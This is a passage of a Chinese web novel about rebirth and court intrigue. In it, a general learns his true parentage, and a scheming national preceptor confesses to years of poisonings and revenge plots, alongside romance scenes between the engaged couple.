书案上摊着一张画纸,上头是一张人像图。 乔姝月在他位置上坐下,好奇地拿起来观瞧。 “你这……画得谁啊?” 谢昭凌愣了下,“你不认得吗?” 乔姝月思忖道:“唔,有几分像你,但这不是你。” 谢昭凌赶忙将他这段时日所做的画像全都展开,放在一起,给她比对着看。 乔姝月前世伴在陛下身侧,于书画上不算精通,却也略有了解。 谢昭凌将他曾给褚玄英看过的那张人像给她看,“可像我?” 乔姝月脱口而出道:“像又不像。” “义父说这是我。” 连他自己都觉得这就是他,是有几分区别,但他当时画时,明明回忆的是那人的样子,落笔以后,却成了他自己。 乔姝月摇头,指着画道:“这画上人五官是有些像你,但他给我感觉太过妖冶,瞧着就不像好人。而阿凌面相虽带了点攻击性,瞧着凶,但眉宇间透着股正气,一见就是好人。” 不然她也不会前世在大殿之上,他将她留下,她就顺从了。 新帝给她初印象极好,不似柳步亭那般轻浮之辈,他将她从铡刀下救下那刻,就已成了她的英雄。 这倒是他未察觉到的。 谢昭凌低下头去,又细细观察画中人的眉眼与轮廓。 “这是你的哪个兄弟?”乔姝月试探道,“你找到亲人了?” 谢昭凌说不是,却没向她透露这画的是谁,反而问道:“你来寻我,是今日入宫发生了何事?” 乔姝月想起正事,便将所听之秘闻一五一十道来。 “柳三爷与贵妃娘娘、与柳家的关系,国师似乎有所察觉,他若发现你们和他不是一条心……恐有危险,你千万要小心。” 乔姝月听说这秘事,第一反应是谢昭凌的安危是否有威胁。柳三爷心不向着二皇子,便是与国师与贵妃站在对立面,谢昭凌如今与柳三爷在一处,难免被他连累。 柳三爷背景硬气,可她的阿凌却是孤苦伶仃一人,无依无靠,难免受人欺凌。 若是因着柳三爷的缘故,她的阿凌被国师惦记上,算计上…… 不若还是劝他和那个柳三远着些吧,那毕竟不是个好人。 就让柳三爷自己和国师斗去算了,她的阿凌坐收渔翁之利,也没什么不好。 国师和柳三爷这两位,乔姝月都不了解,前世从未打过交道。都只远观过,没近瞧过,不相识,不知底细与弱点,她在这事上帮不到他,因此才更为他担忧。 将此事告知他的本意,是让他警醒着些,却不想他听罢眉头紧拧,脸色蓦地凝重起来。 他手按在她肩上,神色慎重,向她确认这个消息的真假。 乔姝月摇头,“只是听到两个宫人在背后议论,不知真假,但他们确是如此议论的,不是我凭空猜测。” 乔姝月其实怀疑,前世谢昭凌最初便是和柳三爷一伙人在同个阵营,借着柳三爷的势,平步青云,有了自己的人脉与部下。、 而后柳三爷斗倒了柳家和二皇子,他也一直陪着,或许还是柳三的左膀右臂。 也许原本关系不错,后来又生出矛盾,才叫他反水,杀了柳三爷,自立为王,坐上了柳三爷自己想坐的那个位置。 总之,前世攻入皇宫时,他身边是没有柳三这个人的。 谢昭凌失神地望着画像,一语不发。 他其实画的一直都是柳关山。 自一年前初识后,他回来便画了那人的像。 褚玄英看一眼便说,画自己作甚。 褚玄英纵使再不识画,眼力也没差到老眼昏花的地步。 是真的将画中人认成了他,只不过有七八分像罢了。 柳三总是一副狂妄张扬的模样,那时他们并不相像。唯有安静之时,才能叫人窥见几分他的影子。 他从数年前,郑丰南见到自己第一面起开始回忆。 每一次与郑丰南的交锋,每一句话,看向他的每一个神情,午夜梦回时都放在脑中反复琢磨。 这些年来,郑丰南都对他格外在意,对他容忍、偏袒、示好,甚至是尊重。 郑丰南姿态始终放得很低,为什么? 直到见到柳关山本人,谢昭凌终于有了答案。 原来是因为少年时的他和那人就有几分相似,所以郑丰南总爱来找他,同他搭话,对他有足够的耐性。 郑丰南去过梧县,查过他的身世,不是为了以此讨好他,邀他共谋。因为郑丰南怀疑他的来历,所以要去确认。 所以才会说,让他去见柳三爷,见一面就好。 是啊,见了一面,心里留下怀疑的种子,便忍不住靠近,去探寻真相。 越靠越近,最终便能走在一起。 谢昭凌想起来皇帝有次喝多,拉着他的手,叫的是“关山”。 那时他还不认得柳三,不知叫的是谁,后来他就忘了。 等再想起来,也不过是给心底的疑云又添了无足轻重的一笔。 谢昭凌几乎已经确认,他是他的孩子。 为此挣扎、痛苦过,排斥过,否认过。 他不敢同她坦白,说自己其实是姓柳。 直到临近婚期,他想,自己不得不坦白了。 现在她却说,那人没有生育能力。 什么为真,什么又是假。 难怪那人身边总有女人环绕,那些女人似乎都很受宠,夜夜陪着他。 又似乎不那么受宠,只三四个月的保鲜期,时间一过,又被无情抛弃,以死亡终结。 想来是柳三在想办法找女人给他生孩子。 他既然无有生育的能力。 那他,又是谁的孩子呢? 第74章 【74】 那日谢昭凌情绪不太好,明明卸下了一桩繁重心事,终于得以喘息。 可他并无多少轻松的情绪,更多是茫然无措,不知该如何是好。 乔姝月见他低落,陪着他到日落才离开。那之后,谢昭凌又忙了起来。 某个晚上,他毫无预兆潜进她的院子,同她说要离京几日,查一件事。 他没有隐瞒,直截了当说,关于自己的身世。 乔姝月没有拦他,只沉默地抱住他。 她依偎在他怀里,说道:“无论是什么结果,我都一直陪伴着你。” 前世无论她如何追问,他都不愿透露只字片语。如今观他神情,想来是那真相令人难以接受,所以他才不愿提起。 乔姝月不知该怎么安慰,只能勾着他又亲了亲,目光缠绵且依赖,软着嗓子说道:“无论如何,我都喜欢你。” 这一招果然在何时都管用,他瞧着高兴不少,不再一味沉溺在彷徨不安里。 他没有说“等我”,知道她不喜欢听。 低头吻住她,只道:“我会在婚期前回来。” 乔姝月相信他,安心在家待嫁。 俩人短暂分离的日子里,谁都没料到,京城竟变了天。 太子一病不起,命悬一线。 乔姝月直觉这不对,时间上相较前世发生了偏移。 前世太子还要晚几个月才会有坏消息,在临近年底,怎么也要等她完婚。可如今却连这个夏天都过不去。 而后没几日,太子去世的消息忽然传了出来。 一夜之间,朝局已定。 乔姝月夜里睡不着,披着外袍,站在窗边,对着月亮的方向,默默祈求谢昭凌能早些回来。 承顺帝膝下能继承皇位的,只剩二皇子一人。 他如今沉迷丹药,一心问道。 他对国师十分信任,在国师的支持下,对周遭的国家挑起战事,穷兵黩武。 在丹药的助力下,他愈发觉得青春焕发,精力无限,仿佛又回到了当年四处征战,称霸世界的那段时光。 国师却不全忠心于他,暗地里与二皇子勾结来往。 在国师的蛊惑下,皇帝靠丹药透支身体,为祸大昌,而二皇子逐渐按耐不住,等不到皇帝老死便想上位。 国师支持二皇子,动作频频。 柳关山一时再难隐忍,跳了出来,与柳氏撕破了脸。 京中渐渐有传言四散—— “听闻柳家三爷之所以另立门户,与本家再不往来,是因为他不能生育,全赖柳氏害他。” “这三爷不是柳氏嫡子?大爷殁了,唯他一个嫡子,以后柳司空致仕,整个柳家不全是他的?是因此让人给暗害了?” “自大夫人疯了以后,执掌兵权的楚国公也不再与柳氏来往。除了三爷,如今阖府上下再没个能顶事的。他与皇帝情谊深厚,这层关系旁人万万比不得,有三爷在一日,还愁柳氏不能兴盛百年?柳氏若要害这样一个人物,实在是拎不清。” 乔姝月也觉着,若柳三爷当真被人暗害,也不会是柳家的人。 至于他为何要同本家对着干,甚至通敌卖国,其中的缘由,或许只柳三爷本人才知晓。 国师与柳三爷斗法,遭殃的是那些根基不稳的世家。 在这样的形势下,京城的局势暗暗地也发生了变化。 在高压之下,乔氏首当其冲。 乔氏一直是太子拥趸,随着太子病故,乔氏的没落已然注定。 乔父被罢官,乔家大哥也被贬至外省去。 如此也好,远离了争斗旋涡,好歹能保住一条命。 乔府门庭冷落,多的是人要看他们的笑话,但乔姝月经历过家破人亡,只是被人看看笑话,已然是很好的结局。 柳氏大房已掀不起风浪,上辈子害得乔姝月家破人亡的元凶皆已不在,她算是躲过了那道命运。 思及前世,乔姝月又思虑不通,太子不应这般早亡故,柳三爷也并未这么早与柳氏撕破脸。 乔姝月总觉着,这一切改变,都与谢昭凌命运的改变脱不开干系。 归根结底,这命运之轨迹,还是被她给扳动了。 大婚前半个月,谢昭凌回到西京。 他风尘仆仆,却不见憔悴。 先回将军府沐浴更衣,洗去疲惫,紧接着便到了乔府,去见他的心上人。 他回来得毫无预兆,乔姝月见到他时,足足愣了好一会。 直到她被男人紧紧拥住,嗅到那熟悉的安全感,她才回过神来。 亦回抱住他,力道之大,足以彰显她的思念之深。 “他的确不能生育。”谢昭凌低声道,“我不是他的孩子。” 不能生育?! 乔姝月猛地怔愣,瞠目结舌,瞬间变想通了所有关窍,她将人推开,惊魂未定道:“你画的竟是柳三爷吗?!” “阿月聪慧,什么都瞒不过你。” 谢昭凌又将人拥进怀里。 “这几月我寝食难安,只怕自己是那人之子,怕自己对不住你。” 乔姝月脸色煞白,却没他这么乐观,她急急问道:“你怎知他不是?单他无法生育,不够撇清关系。” “是,但他没有寻过我,或者说,他没有寻找过流落在外的孩子,便足以证明,他自己也不认为有亲生子存在这世上。他身边的女人若有孕,不可能瞒过他。” 柳关山这辈子拥有女人无数,他年轻时每回事后都会给女人一碗避子汤,盯着人饮下才会离开。 而后来他想要孩子,便会将女人困住,若那女子无法怀孕,他才会再去寻下一个。 年轻时不想要,等想要时才发现,心愿难圆。 这些年来,他试遍天下灵丹妙药,竟是半点动静都没有,他此人怕是天生缺少精元,故而难留后嗣。 “可你们之间的相像,就只是巧合吗?” 谢昭凌眼里噙笑,摆脱了这糟心的身世,他整个人都如沐春风,得意得不得了。 “我一路探查,才知这些年里,知道他想要儿子的人不少,也有地方州府的官员特意去寻了与他长相相似且年岁合适的男子,送上去说是他流落在外的儿子,可惜那些人都不是。” “我见过两个,确有几分相像,有个比我还要像的,最终都作证不是柳三之子。” 原来这世间相像之人那么多。 那么他也不算是特殊的那个。 乔姝月仍不死心,“那何以解释郑公子的种种异样?” 谢昭凌道:“郑丰南查了那么久,也没个定论。他没有明确说过我是那人的孩子,而那人也待我很是寻常,并未将我认作亲子。” 柳关山一心还在子嗣一事上,若他当真认为谢昭凌是他的孩子,他何苦再去到处寻那灵药,舍近求远? “当初将我拐卖的那户巫医,说带我看病的是个男人。这男人与我是何关系,没有查到线索。要么是人贩,要么就是我的父亲,又或是我家中的男性仆从。” “总之都不是柳关山的人。” “能养得起仆从的人家若丢了孩子,不会一点风声都没有。那个男人多半就是我的亲生父亲,他家境或许一般,没有能力大张旗鼓去寻我,年深日久,也就不了了之。” 他宁愿继续做个孤儿,也不愿意做柳关山的儿子。 乔姝月听至此处,方才心弦微松。 可她依旧不能完全放下心来。 世上没有全然绝对的事。 比如,万一有女人没有喝药,或者偷换了避子汤药。又或者是汤药失效,还是怀了孩子,恰好就躲过了柳关山的视线? 谢昭凌并非考虑不周的人,他只是太希望自己和那人没关系了。 所以宁愿忽略掉所有可能会发生的意外,也不愿意相信,自己是那人的孩子。 就算是自欺欺人,他也认了。 谢昭凌没在木兰院待太久。 他回到将军府,想要给褚玄英请安,才至正堂,便愣住。 乔夫人褚氏坐在堂中。 褚玄英与褚氏对面而坐,不知方才聊了什么,一时间气氛凝滞沉重。 褚玄英沉着脸,瞥他一眼,朝他招手。 褚氏面色微白,见到来人,勉强挤出个笑来。 也不知褚氏是从哪儿得知了他回来的消息,竟早早在此等他归家。 谢昭凌连忙上前见礼,恭敬道:“夫人。” 他还保留着原先在乔府当差的习惯,这叫褚氏面色稍缓,她站起身,走到男人近前。 毫无预兆,反而要对谢昭凌行礼。 谢昭凌哪里受得住褚氏这一拜,急忙将人扶起,眉头微拧,意识到事情的严重。 思及太子病故,以及近来乔家的一连串遭遇,谢昭凌多少猜到褚氏要说什么。 三人在厅中说了一个多时辰的话。 等褚氏从将军府离开时,已不见来时那般忧愁。 她踩凳登舆,站在车上,低头对出来相送的谢昭凌笑道:“小女往后就仰仗将军照料了。” 谢昭凌没言语,冲对方恭敬揖手。 人离开后,谢昭凌望了良久,才转身回府。 当晚,谢昭凌又翻墙而入,去而复返。 乔姝月没防备他二次擅闯,只着了一件单薄的寝衣,披散着长发,坐在妆台前,擦拭着才刚洗净的长发。 见他手负在身后,大摇大摆地进来,乔姝月斜他一眼,嗔道:“小谢将军近来愈发没规没矩,半夜三更,擅入姑娘闺房?” 谢昭凌在窗边坐下,支颐靠着,笑望着她,“月姑娘哪是寻常姑娘,分明是我未过门的妻。” 乔姝月被噎住,白他一眼,唇角却止不住上扬。她别过脸去,见铜镜中的少女面泛红晕,双瞳剪水。 她拿起玉梳,侧过身子,梳拢自己的头发,嘟囔道:“都说了未过门,还有反悔的余地。” 她这般说,他也不恼。 惊讶道:“月姑娘想抛弃我,再寻别的夫家?” “哼,你再夜半三更往我房里闯,做这轻浮姿态,可就说不准啰。” 男人故作惶恐,站起来拱手,人模人样似得,“在下知错,还望姑娘再宽恕一回。” 乔姝月恼他打趣自己,抬手将玉梳朝他扔去,杏眸圆睁,故作凶狠地瞪他一眼,语气却软绵绵的,带着嗔调的小勾子娇得人心痒,“出去。” 第75章 【75】 谢昭凌眼疾手快接住,弯唇笑道:“姑娘撒气只管打我就好,莫要糟蹋东西,若掉到地上,摔碎了,还要自个生闷气。” 乔姝月道:“那还不是知晓你定能接住?不然你以为我会扔?” 这副恃宠而骄的模样,将谢昭凌拿捏得死死的。 他简直要爱死她这撒娇的样子。 没忍住凑到近前,脑袋歪到她颈侧,调笑道:“是,姑娘舍不得,这毕竟是我们的定情之物。” 乔姝月这下绷不住笑出声来,无奈道:“凡是互赠之物,就都是定情信物是吧?” 从前说匕首和攀云剑是定情物,眼下又说这玉梳。 “玉梳是我送与姑娘的生辰礼物,攀云剑是姑娘见我可怜相赠,匕首是我遗留在这里的旧物,都有各自的故事,满载你我的情意,怎不算定情之物?” 乔姝月垂眼,见男人将玉梳递回来,她将玉梳好好搁到桌上,往里推了推,免得不小心碰到地上。 她从妆奁中拿出一根玉簪,晃了晃,说道:“那这个及笄礼,也算定情物?” 谢昭凌颔首,“算。” 她又从衣服里掏出一条红绳,上头挂着那日他托四哥送她的玉坠,睐眼看他,“那这个呢?” 谢昭凌理直气壮道:“你我天作之合,求娶成功难道不值当庆祝?这玉坠亦是意义非凡,自然该算。” 他无辜眨眼,“你瞧,每一样都是独一无二的,都十分有纪念意义。” 谢昭凌没想到玉坠她随身带着,面上的喜悦难以遮掩,克制不住就要将她往怀里拥。 乔姝月抬手将他推开,眼睛盯着他胸口已经湿了的一小块,努努嘴,指使道:“头发还没干,仔细沾湿了衣裳。” “我帮你擦。” 乔姝月推拒不过,索性由他去了。 她闭着眼睛,享受他的伺候。 前世陛下也做过类似的事,只不过唯有一回。当时她觉得自己不配,诚惶诚恐,躲开了,后来谢昭凌不忍她为难,怕她心中负担太过,便不再做这些与他身份不相符的事。 这辈子倒因为他早早给她做了几年护卫,已习惯了他的侍候,自然不再自卑。 乔姝月觉着,自小一起长大,感情确实更好了一些。 他在她心里不再是高高在上,而是真正地融入到了她的世界,她的人生里。 这般想着,心中滋生出更多的爱恋,身体不自觉地朝他靠近。 谢昭凌微微挑眉,虽不知她为何忽然依赖,但都欣然笑纳。 十指穿过她的发间,一边轻轻擦拭,一边不着痕迹地往前迎了几分,慢慢地,让她靠在自己的腹前,见她并无排斥,才悄悄抿唇笑了。 ** 转日,谢昭凌进宫。 昨晚听他提起过,但那时他正按揉着她的头皮,给她按得很是舒服,昏昏欲睡的。 他在耳边啰嗦了许多话,十句里至多有一句被她听进了耳朵里。 实在想不起来他今日进宫要做什么,只知道是场宴席,还要招待外邦的使臣。 听说是南黎来的?乔姝月不太清楚。 左右是前朝那些事,说了她也不关心,现如今乔家无人在京中做官,皇宫里就是翻了天,也和她乔家无甚关系。 唯一的牵连就是谢昭凌,但乔姝月充分信任他,自认以他的能耐,还没什么事能难住他。 除了一桩—— 他的身世。 乔姝月幽幽叹了口气。 她这心里总是不安,总觉得,那柳三爷或许真和他有点什么关系。 尤其是一想到前世陛下的回避态度,她就更加笃信了。 但谢昭凌不肯接受,也不愿去深想。 原先他为了与她相配,急于摆脱孤儿的身份,还上赶着去查。 这下牵扯出柳氏,他也不想管了,生怕再查出点什么难以接纳的事。 她的陛下何时这么畏首畏尾,掩耳盗铃过啊。 可见他当着很介意自己同与她有仇之人扯上干系。 日过晌午,乔姝月缩在躺椅上乘凉。 及至傍晚,将军府忽有噩耗传来—— 二皇子遇刺,谢昭凌为救他,受了伤! 乔姝月守在床榻边上,抓着男人的手,止不住地落泪。 她又心疼又气恼,一边哭,一边骂他:“二皇子遇刺死了就死了,你舍命相救是哪根筋搭错了?” 谢昭凌手足无措地为她擦泪,无奈道:“瞧你这样,还以为我快要死——” 她抬手去捂他的嘴,小兔子一样的眼睛红彤彤的,横他一眼,“呸呸呸,乱说话!” 见她要急,他不敢再乱开玩笑,连连道歉:“下回他死在我面前我也不碰,可好?” 乔姝月一顿,犹豫道:“那也不成,容易落人话柄。” “那我事先预料好他哪日受伤,到时躲得远远的?” 乔姝月破涕为笑,一口咬了上去,含着他唇,含混抱怨道:“你当自己神通广大呢?连这都知道。” 谢昭凌扣着她的后脑,将这一带有泄愤意味的惩罚变成了一记深吻,与她纠缠。 他哑声笑着:“阿月不就能未卜先知?我作为阿月的夫婿,若没点通天的本领,哪里配得上?” 乔姝月红着脸说不出话来,几句话就被人给哄好了。 她心疼地摸摸他的四肢,见都完好,才松了口气,“都怪四哥,来送消息时面色那样严肃,我还以为你断胳膊少腿了。” 谢昭凌暗暗咬牙,给乔誉记上一笔,不过…… 他低头看向怀里娇滴滴的美人,默默又将那笔账给划掉。 “你到底何处伤了?衣裳穿得这样严实,是防着我看?” 谢昭凌记着前车之鉴,眼下也万万不敢隐瞒她,如实道:“只是后背擦破了皮而已,宫中的御医早看过了。” 变故发生以后,皇帝便召了御医来。国师闻讯也赶到场,先来看过他的情况,而后又到南黎那边代皇帝处理后续去了。 看皇帝和国师的态度,他这伤也不算白受。 乔姝月却管不了那么多,她坚决道:“你脱了,我瞧瞧!” 谢昭凌无奈解开腰带,褪下衣衫。 他上回半身脱了精光,要被她里外仔细看了个遍。胸口那处贯穿伤早就在她跟前暴露过,眼下也没必要再遮遮掩掩。 他露出后背,转过身给她瞧,还不忘说道:“没骗你,真的没——” 他声音戛然而止。 感受到柔软的指尖触了上来,他浑身肌肉紧绷,嗓子也发紧,“别摸。” 身后人忽然颤着声音,呼了口气,她语气低落,问道:“阿凌哥哥,是不是在你眼里,不致死的伤就都并无大碍?” 谢昭凌沉默下去。 他轻描淡写说只一处擦伤,可在乔姝月的眼中,那里分明就是一道出过血,结了一条长长血痂的伤痕,约摸能有一拃长。 她问:“又是弓箭?” 谢昭凌摇头,“是剑,南黎挑衅在先,要与二皇子比武。我拉了他一把,他才躲开那致命的一剑。” 招招杀气十足,二皇子那个绣花枕头自然不敌,险些就命丧当场。 可二皇子不能死,他若轻易死了,柳关山再无人牵制。 在他大婚以前,他不容许再有意外发生。 乔姝月光是听就觉得惊心动魄,纳闷道:“南黎这般狂妄?他们不一直臣服于我们,怎的忽然硬气了起来?再者,他们就没想过还要回去吗?” 谢昭凌勾唇,笑着将人拥进怀里。 他们这个皇帝如今活在唯我独尊的幻想里,还以为外邦皆不如大昌,以为南黎此行同以前一样,是来臣服于他。 殊不知,他的好日子马上要到头了。 “南黎来的这几人没打算再回去,他们在京中早有接应,出不了事。” 乔姝月心下了然。 大昌内忧外患,积弊已久。内有柳关山之流通敌卖国,觊觎皇位,外有各族虎视眈眈。 关于朝政之事,他们没有再多聊。 乔姝月目光扫过他后颈下面那片红色的胎记,抬手覆了上去,她轻声道:“你这具身体,还真是热闹。” 谢昭凌被她的说法逗笑,“怎么,嫌我?” 说着,他有些不自信,将衣裳三两下穿好,转过身,拉她坐下,犹疑道:“我这样,是不是很丑?” “并不难看,但是我不喜欢。”她抬手勾住他脖子,双眸满是怜惜,“权当为了我,往后也多珍重些。” 前世的陛下身上伤痕比这还要多,在很长一段时间里,即便同床共枕,他也不曾将衣裳脱下,只怕吓着她。 如今他早早从战场上退下来,少了许多拼杀,伤疤自然也少了。 谢昭凌听她说不喜欢也不觉得难过,反而被她心疼怜惜的目光看得心头发软。 将人抱在怀中,温柔地吻了下去。 乔姝月走后,谢昭凌又处理了些公务。 直到三更天,准备入睡。 院中忽然出现轻微的异响。 谢昭凌蓦得转头望向门口,眸光骤然一片冰冷。 不速之客深夜光临,却只是等候在院里,并不冒进。 谢昭凌披上外袍,手执攀云剑,推门走了出去。 漆黑的夏夜里,夜风澎湃似涛,打着旋儿,卷起院中的落叶,发出枯而涩的声响。 来人一身黑袍,没有惊动任何人,悄无声息地进了将军府,立于寂静的院中。 天边蓦地闪过数道刺目的光刃,光影骤亮,打在那人的脸上。 谢昭凌看清来人面容,诧异地一扬眉,“国师?” 雷声轰鸣,响彻天际。 将他那一声轻唤淹没。 谢昭凌站在光亮里,冷眼看着来人。 深更半夜,不请自来。 更何况他们并非是同一阵营。 那人不知是不是没听到,没应他这声呼唤。 缓缓摘了头上的兜帽,对着面前的男人,毫不犹豫地跪了下去。 第76章 【76】 承顺帝继位初年,与伴读兼挚友柳关山一同南下,体察民情。 那时年轻的承顺帝还未沉迷丹药,身边尽是忠臣良将,亦听得进逆耳忠言。 二十岁的年纪,走到哪儿都不乏倾慕者。 除却一人。 他们行到南边境,在边陲小城,偶遇一女子,可谓是天生尤物,宛若天仙。 饶是见惯了美人的承顺帝也抑制不住为其动心。 承顺帝一见倾心,热烈直白地向之倾诉衷肠,然美人无情,将他拒之门外。 承顺帝待女子一向温柔体贴,从不做强迫之事,既然落花有意,流水无情,他也只得抱憾离去。 承顺帝虽走了,可他身侧的柳关山却也惦记上了她。 柳关山出身名门,恃才傲物,凡事只讲究一个他喜欢。他想要得到的,哪怕使尽卑劣手段,也要拿到手。 却说那女子亦并非寻常人物,乃是南黎国第一部族的大小姐,名唤黎笙。 她婚期将至,还未出部族看过外界繁华,因此央求了易知,求他陪着自己到外头走走。 易知既是陪伴她长大的侍卫与下属,又是第一部族大巫师首徒,他自小侍候大小姐,只待长大后与她成婚,十数年来,百依百顺,从无拒绝,于是这一趟理所当然随她去了。 俩人皆知无论是大巫师还是南黎王都不会同意他们胡闹,于是瞒着所有人,来了一场“私奔”。 世事难料,就是这一趟偷跑,造就了黎笙悲惨的命运,以及易知颠沛流离的半生。 趁着易知不在,柳关山强要了黎笙。 后因京中突发急事,承顺帝必须要尽快回京,承顺帝催得急,且当时正在他门口,柳关山来不及灌黎笙避子汤,无奈之下,只得将黎笙掐死,才匆匆离去了。 易知回来得及时,将假死脱身逃脱一劫的黎笙抱在怀里。 易知并不厌弃她,反而待她愈发怜惜珍重。只是黎笙状态愈发不好,尤其是两个月后,发觉自己竟有了身孕。 整个孕期易知无微不至地照料她,直到她生产,诞下一子。 黎笙产后郁郁寡欢,没过多久便香消玉殒。 易知此生只为黎笙而活,她去了,他便也不想活了。 那日他将剑横在颈间,预备着殉情。然后一声洪亮的婴儿啼哭将他从绝望里拽了出来。 这是他的挚爱所生。 易知放下了剑,抱着婴儿,痛哭不已。 后来易知带着婴儿四处躲藏,躲避部族的搜寻。 没了黎笙,他不想再回到那个满是黎笙生活印记的地方,他也无法再回去了。 部族血脉,不容有污,因此这个孩子的存在务必要死死瞒下来,否则就会被他的师父,他们第一部族的大巫师施以火刑处死。 易知带着小主人,直到他两岁。 原以为这辈子就这么过去了,然而命运再次愚弄了他们。 易知带着他去看病,碰巧又遇上追兵,易知无法,只得将他留在医馆,自己出去引开追兵,临走时特意留下银两,嘱咐巫医定要将人妥善照料。 等一日后再回去,却被医师告知,来了一伙人,将小主人带走了。 易知以为是南黎国的人找来,他没再与那巫医纠缠便急冲冲寻人去,他哪知那巫医起了歹心,将人卖了。 “后来属下便一路寻到了西京,想法子进了皇宫。” 他自小便擅权术一道,况且他是大巫师之徒,有些本事在身上,于是他渐渐地在西京混出了些名头,连皇帝都对他言听计从。 唯有站得足够高,才能望得足够远,才更方便他去追寻想要找回的人。 本以为这一辈子就在茫然无望的寻找中度过,直到死去,到底下向大小姐赎罪,怎料峰回路转,他竟在皇宫中见到了他。 “快二十年了,小主人,”易知的额头抵在地上,声音带着兴奋过头的颤抖,“属下终于寻到您了。” 易知讲了个漫长的故事,谢昭凌听罢,久久难言。 易知两眼通红,期盼地望过来,“小主人,您……您这些年,过得还好吗?” 有关谢昭凌回京后的一切,他多少有所耳闻,知晓他深受皇帝重用,还与乔氏女有了婚约。但关于他的幼年以及少年,还知之甚少。 想想也知不可能过得好,易知一想到小主人孤苦伶仃,受尽苦楚,眼底就迸发出骇人的杀意。 谢昭凌没有问对方是如何认出自己的,想来是今日在宫中,御医为他疗伤,他脱下衣袍时,后背的胎记被易知看到了。 当时的国师面上看不出端倪,从容冷静地去处理了后续。 与此刻在他面前痛哭流涕,神情激动的判若两人。 能从南黎的巫师摇身一变成大昌的国师,此人实力不容小觑。 “所以,我的生父,确是柳关山无疑?” “是。” 谢昭凌绷紧的肩膀垮了下去。 国师说他恨不得柳关山去死,但又不愿意让他轻易去死。 他这些年向着柳家,为的就是养蛊。他怨皇帝,更怨柳关山。 于是他暗中与柳氏勾结,扶持二皇子,偷偷搜集了不少柳氏的把柄。 他令柳关山无法生育,挑唆柳关山与柳氏的矛盾,让他们内斗,坐收渔翁之利。 他还拖垮了皇帝的身体,并以慢性毒药害死了太子。 甚至于二皇子、柳贵妃,他们都不知不觉地中了易知的圈套,只待时机合适,就叫他们都到底下去给大小姐陪葬。 柳氏一族,一个都别想跑。 只除了柳氏的小少爷柳步亭的死不是他做的,真凶是谁他没有去查,既然已经死了,也省得他再费功夫。 谢昭凌恹恹的,易知看出他精力不济,想来是骤然得知真相,心绪难平。 易知叹了口气,“属下今夜贸然来访,仓促了些,实在是见到小主人,难以克制与您相认。也罢,今夜已深,您好生休息,待您回头得空,属下再来。” 易知悄无声息地来,又神不知鬼不觉地走了。 谢昭凌神情麻木,僵着身子,木愣愣地走回到内间,在榻上坐下。 他该睡了。 于是就这么躺下。 躺到半截,又起身,将鞋袜脱掉。 外袍却忘了脱,第二次仰躺到榻上。 睁着眼睛,望着房顶。 房间里的灯忘了吹,有些过于明亮,刺得他眼眶发酸。 他盯着虚空中那一点,不知耗到几时,竟是慢慢地睡着了。 扭曲的梦境中,是腊月寒冬。 风像小刀子一样从人脸上刮过,冷得人牙齿打颤。 谢昭凌看到自己通身穿着玄色长袍,上有金线龙纹,脚踩着黑色蜀锦踏云靴,沉默地穿行于不见光日的地牢里。 狱卒打开一间牢房,恭恭敬敬,诚惶诚恐地退下。 谢昭凌站在门口,没往里进,看着里头穿着囚服,形容狼狈之人。 两人相顾无言,谁也没说话。 枯站了半晌,囚犯佝偻着身子,慢慢跪了下去。 他作恶太多,谢昭凌容不下他,将他赐死。 这是最后一拜,拜完他就要上路了。 柳乔两家多年的恩怨纠葛,少不了易知的推波助澜。 他们于边关相认以后,悲剧已成定局,乔氏死的死,逃的逃。 谢昭凌听了易知这些年的所为,心中没有一点波动。 只在易知的协助下,将生父杀死,并吞吃了他所有的势力,为生母报了仇。 意外收到乔四公子的来信时,他才对这个家族投注了视线。那时他知道了,乔氏还有一个女孩。 乔四投诚,带来了许多他需要的情报,乔四唯一的条件便是,希望他可以早些入京去救她。 谢昭凌想,既然易知一切是为了他,那他自该将此间恩怨彻底终结,那个女孩他得救,权当替生母留下的唯一的心腹减轻些罪孽。 于是他答应了。 后来又遇到一个叫褚玄英的战将,两军对阵之际,那人投降,带着将士投靠了他。 褚大将军说,他不想投敌,但暴君断了他们的军饷,将士们冻死饿死了大半,他顶不住了。 谢昭凌接纳了他们。 褚玄英性格好,很快和他的兵打成一片。又攻下一座城池后,他们围着篝火庆祝。 谢昭凌向来不掺和,那次偶然路过,听到褚玄英与众人讲他那讨人喜爱的外甥女,姓乔,名姝月。 谢昭凌驻足,坐到了将士们中间,静静地听。 后来每一次庆功他都会一起,听褚玄英说乔氏女幼时的趣事,每每听到,都忍不住勾起唇角。 他曾无数次在脑海中描摹乔氏女的模样。 后来攻入京城,他终于见到了,果然和褚将军说得一样惹人怜爱。 “……” 谢昭凌沉默地看着面前人,知道他没有一点赎罪的忏悔的心,所以他务必要将人处死。 易知的存在,于一个国家而言是危害。 “小主人,您那日问我,若再选择一次,我是否会对乔家下手。我现在可以将答案告诉您。”易知抬起头,咧着嘴笑了,“我会,莫说是一个乔家,就是再来十个百个,我亦不会迟疑。” 大小姐死后,他活着便只为了复仇。挡他路者该死,不挡路的,利用完也差不多死了。 谢昭凌没有动,目光中带了一丝悲悯。 “小主人,您既爱上了那乔氏女,就万不可将我们的关系告诉她。” “不然,她会恨您一辈子的。” “……” 易知斩首那日,谢昭凌躲在勤政殿里,一天都没敢去见乔姝月。 自大殿之上见到乔姝月那时起,他便知,这是被易知和柳氏害苦了的一个女孩。 而他,无论从哪边论,都是元凶,逃不掉的。 “陛下,陛下?” 年轻的帝王恍然回神,目光落在怀中的女子。 她只穿了一件单薄的寝衣,头枕着他手臂,正担忧地偏头望着他。 “陛下,可是国事繁忙,累着了?” 他隐约感觉自己想要扯唇笑笑,可惜实在有心无力,索性不再遮掩内心的彷徨,将她用力拥进怀中。 “阿月,我爱你。” 怀中女子一愣,而后面颊染上绯红,望他怀里缩了缩,又羞又恼:“陛下又打趣我。” 他没再开口,扣着她的下巴,深深地吻了下去。 天还没亮,谢昭凌从梦里醒了过来。 他还保持着入睡的姿态,面冲着房顶。 这不是他第一次梦到吻她,却是最令他绝望的一个吻。 他怔怔望向前方,表情似悲凉,似彷徨,瞧着很是难过。 躺在榻上,心中一片苍茫,周身冰冷,比数九隆冬的边境还要寒冷。 他想,若易知纵容柳氏兴风作浪,只为养蛊,只为令他们在最逍遥得意时给予致命一击。 那在易知这场谋划中,被当做棋子摆布的乔氏,又该落个什么结局呢? 为了将柳氏养肥养大,必然要牺牲几个微不足道的家族。 乔氏,便是其中之一。 乔氏作为太子拥趸,站在柳氏的对面。乔氏是易知竖起来的,明面上与柳氏抗衡的靶子之一。 乔氏打一开始,注定就是要牺牲的。 令柳氏作恶,助纣为虐,等柳氏成功之时,他再亲手毁掉这一切。 